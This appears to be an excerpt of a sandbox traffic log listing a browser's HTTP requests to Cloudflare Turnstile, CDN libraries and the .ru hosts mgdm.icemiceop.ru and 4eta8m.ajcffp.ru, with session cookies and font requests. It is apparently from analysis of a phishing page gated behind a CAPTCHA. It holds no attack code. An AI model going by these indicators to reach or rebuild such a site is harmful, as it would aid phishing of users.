Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=926f436978fddafc&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1971676144:1743078521:yATuNMM-PO2DVklHOFFLOmvKIKC6nAWHobCLEURgP0c/926f436978fddafc/RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/926f436978fddafc/1743082447448/f08a0393422a5485320a157ae4e1a491df5c1bed56c3dcb07f0355299350cff3/z1WFFSaBdnj5ieq HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/926f436978fddafc/1743082447449/ymApkFoSXkR3FAa HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/926f436978fddafc/1743082447449/ymApkFoSXkR3FAa HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1971676144:1743078521:yATuNMM-PO2DVklHOFFLOmvKIKC6nAWHobCLEURgP0c/926f436978fddafc/RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1971676144:1743078521:yATuNMM-PO2DVklHOFFLOmvKIKC6nAWHobCLEURgP0c/926f436978fddafc/RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chai!1s6wuh HTTP/1.1Host: 4eta8m.ajcffp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://mgdm.icemiceop.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chai!1s6wuh HTTP/1.1Host: 4eta8m.ajcffp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ZwM7s15/ HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/ZwM7s15/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9SM0h5WXlDT0lLQm9aN3BaeFR0emc9PSIsInZhbHVlIjoieUJSNGRnNEFVdEZPK0tOanB6S2syYTVjMlVKaHpZMnY0SzV4Sks3R0k5NjQyNk5VM1N6c2lNdUFVZGRFQ1dManFnMlUxUmVreFFaQWJ6Z29sSGorVFBUTTR6eFpWYm1PWU9xbER4UlpPVWhna0tiSFRuUGk0dFNPM0w3R1BWTisiLCJtYWMiOiIzMzFlOWY2OWE4MjQ3YjAyMDRmNjJkMTg3NGYwMGU5NzViMzcyNDMyOGJlNzFiNjg5MWNjMWE4YmVlOWZiMzdjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InJxRjlvV1ZHaVYvMFBNeVU2eGYwWkE9PSIsInZhbHVlIjoickxPM1RvUDJScjVlQ0ticGdlQ0cveHdjdXlEenc5ZUoyRkpWQXhsZWpjZzN0bzljWHRLNVYremFoVGhFWHFVUEtQNDFGVzY3elcrOXB6NUpad1cyeUhaRzVMVkVnbHh2eDNZVzZxZzRpSlp0NVRSSzB1YVVEcWRySnZVZkgvUksiLCJtYWMiOiIxODlkNjgzZDgwZTFjNzA2OTQzNThiODYwNzY3NGQ3MzAyY2IyNDQzZTA2YTk3NDUyNzUwMTQ2ZDA3NzQ4NzU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mxkBWWeN9hECFQlpLe9bnBz2 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9SM0h5WXlDT0lLQm9aN3BaeFR0emc9PSIsInZhbHVlIjoieUJSNGRnNEFVdEZPK0tOanB6S2syYTVjMlVKaHpZMnY0SzV4Sks3R0k5NjQyNk5VM1N6c2lNdUFVZGRFQ1dManFnMlUxUmVreFFaQWJ6Z29sSGorVFBUTTR6eFpWYm1PWU9xbER4UlpPVWhna0tiSFRuUGk0dFNPM0w3R1BWTisiLCJtYWMiOiIzMzFlOWY2OWE4MjQ3YjAyMDRmNjJkMTg3NGYwMGU5NzViMzcyNDMyOGJlNzFiNjg5MWNjMWE4YmVlOWZiMzdjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InJxRjlvV1ZHaVYvMFBNeVU2eGYwWkE9PSIsInZhbHVlIjoickxPM1RvUDJScjVlQ0ticGdlQ0cveHdjdXlEenc5ZUoyRkpWQXhsZWpjZzN0bzljWHRLNVYremFoVGhFWHFVUEtQNDFGVzY3elcrOXB6NUpad1cyeUhaRzVMVkVnbHh2eDNZVzZxZzRpSlp0NVRSSzB1YVVEcWRySnZVZkgvUksiLCJtYWMiOiIxODlkNjgzZDgwZTFjNzA2OTQzNThiODYwNzY3NGQ3MzAyY2IyNDQzZTA2YTk3NDUyNzUwMTQ2ZDA3NzQ4NzU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xy5ySUVfUFn8DeLTnPKM81kxOjq4Yud8ulXg4K6GwreoxBOxBeKC3fq HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjlRN0xmdW55d1R0L1BydWU0QTRFeEE9PSIsInZhbHVlIjoid0VkOVlxQkZHRDBNVGd6aHM2NnNZaEVtS3l3U21kR3RmT0xINTBoaDVjcnFsMjNGRE1aMmd2ZDhwZGwxQVdxdk95UGczbkhyTDdPS05kS0VaWDJlcGhTVlZPOERQZ1B0RmpEamY4N3FWTHpvSHJCR3RIS3loNXN1RFdBR1lWOTEiLCJtYWMiOiJkMzJhMGZmMzJlMTZiOTZhYTdkY2FmZGY0ZWE3NTNjYWYwMjljNDMzNWU0YWYyYTkxYzRhMWRlYjAzMDhjYjViIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpFdUZtaDFEaTJaejRqWlFLZkJjbFE9PSIsInZhbHVlIjoiVmZ6cWdOMGxTdWtDa0R5R0s0WDZUTC9GTHdyS3JkcEFxUWtCa2VtSDAydzBBOG5YSDZVQi9DUHRsakRYTkIxNHMvVGcrWSsvaHcrTUN2RSsvclhGQW05dG9hUXByQS9MU0R6SCswT21UOTlWSHBPWHZwbytTMjZHY0JUSUxEdC8iLCJtYWMiOiI1YzBiNDY5MTJhMTc5ZGU2YjEyMTlmMzcwMjRhNzFmMWZkZjZmZjM4OTYyYTZmZGFkYmFhOWY5NGE4NDljNDllIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZY HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/ZwM7s15/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjlRN0xmdW55d1R0L1BydWU0QTRFeEE9PSIsInZhbHVlIjoid0VkOVlxQkZHRDBNVGd6aHM2NnNZaEVtS3l3U21kR3RmT0xINTBoaDVjcnFsMjNGRE1aMmd2ZDhwZGwxQVdxdk95UGczbkhyTDdPS05kS0VaWDJlcGhTVlZPOERQZ1B0RmpEamY4N3FWTHpvSHJCR3RIS3loNXN1RFdBR1lWOTEiLCJtYWMiOiJkMzJhMGZmMzJlMTZiOTZhYTdkY2FmZGY0ZWE3NTNjYWYwMjljNDMzNWU0YWYyYTkxYzRhMWRlYjAzMDhjYjViIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpFdUZtaDFEaTJaejRqWlFLZkJjbFE9PSIsInZhbHVlIjoiVmZ6cWdOMGxTdWtDa0R5R0s0WDZUTC9GTHdyS3JkcEFxUWtCa2VtSDAydzBBOG5YSDZVQi9DUHRsakRYTkIxNHMvVGcrWSsvaHcrTUN2RSsvclhGQW05dG9hUXByQS9MU0R6SCswT21UOTlWSHBPWHZwbytTMjZHY0JUSUxEdC8iLCJtYWMiOiI1YzBiNDY5MTJhMTc5ZGU2YjEyMTlmMzcwMjRhNzFmMWZkZjZmZjM4OTYyYTZmZGFkYmFhOWY5NGE4NDljNDllIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34nRRf3Gdt4CBxyHHh6720 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abyXBPharsydcd30 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveOrigin: https://mgdm.icemiceop.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.1.1/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveOrigin: https://mgdm.icemiceop.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; 